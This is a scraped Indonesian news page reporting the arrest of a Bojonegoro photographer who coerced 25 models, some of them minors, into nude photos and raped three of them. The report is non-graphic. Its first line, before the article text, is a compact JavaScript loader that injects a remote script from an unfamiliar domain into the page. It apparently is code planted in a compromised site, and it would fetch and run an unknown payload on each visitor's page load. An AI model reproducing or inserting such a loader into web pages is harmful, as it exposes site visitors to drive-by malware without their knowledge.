(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BOJONEGORO– Sebanyak 25 gadis cantik difoto bugil fotografer cabul asal Bojonogoro. Foto bugil 25 gadis atau foto bugil model cantik itu diungkap polisi.
Setidaknya, ada tiga laporan akan ulah MH yang dipolisikan telah memperkosa model cantik, sebelum terlebih dahulu difoto bugil biasa hinggga berpose tanpa busana alias foto telanjang. Mirisnya lagi, ada korban yang masih di bawah umur.
Kapolres Bojonegoro AKBP M Budi Hendrawan mengatakan, kasus ini terkuak setelah polisi mendalami laporan keluarga korban.
Menurut Budi, motif tersangka melakukan persetubuhan itu setelah membuat aturan kepada korban lewat perjanjian kontrak. Dalam perjanjian itu, korban bakal kena denda uang puluhan juta apabila tak mau menuruti perintah fotografer cabul itu. Lewat modus aturan kerja, korban akhirnya disetubuhi tersangka.
“Jika tidak mau foto telanjang korban ancaman akan didenda Rp 50 juta, menjadi pacarnya atau harus mau disetubuhi,” kata Kapolres seperti dikutip dari BeritaJatim.com, Jumat (12/6/2020) lalu, seperti dikutip Suara.com.
Belakangan diketahui, korban lebih dari laporan yang ada. Setidaknya ada 25 model yang menjadi korban foto bugil pelaku. Menurut Kapolres, pelaku beraksi merayu dan mencari korban melalui media sosial sejak 2018 lalu.
“Hingga saat ini, ada tiga model yang telah disetubuhi pelaku. Dua siswi SMP dan seorang mahasiswi. Sementara total korban mencapai 25 model. Selain tiga yang disetubuhi, mereka menjadi korban foto bugil,” kata Budi.
Ia menjelaskan, seluruh korban terjaring melalui tawaran di media sosial. Pelaku menawarkan korban untuk menjadi model yang ia foto. Setelah itu, korban dan pelaku bertemu. Kemudian pelaku mengikat korban dengan perjanjian tertulis.
Kekinian, Polres Bojonegoro terus mengembangkan kasus fotografer cabul tersebut. Diketahui, kasus persetubuhan tersebut dilakukan saat sesi pemotretan bersama korban model berusia 15 tahun di salah satu kamar hotel di Kecamatan Kalitidu, Kabupaten Bojonegoro pada 6 Mei 2020 sekitar pukul 13.00 WIB.
Dalam sesi pemotretan itu, tersangka meminta kepada korban dengan sesi foto normal menggunakan baju biasa, foto seksi hingga foto telanjang. Atas perbuatannya itu, MH dijerat Undang Undang Perlindungan Anak dengan ancaman maksimal hukuman 15 tahun kurungan.
Pasal lain yang disertakan adalah Pasal 9 Jo Pasal 35 UU RI nomor 44 tahun 2008 tentang Pornografi, yang berbunyi setiap orang yang menjadikan orang lain sebagai objek atau model yang mengandung muatan pornografi diancanam dengan hukuman satu tahun hingga 12 tahun penjara.(suara)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.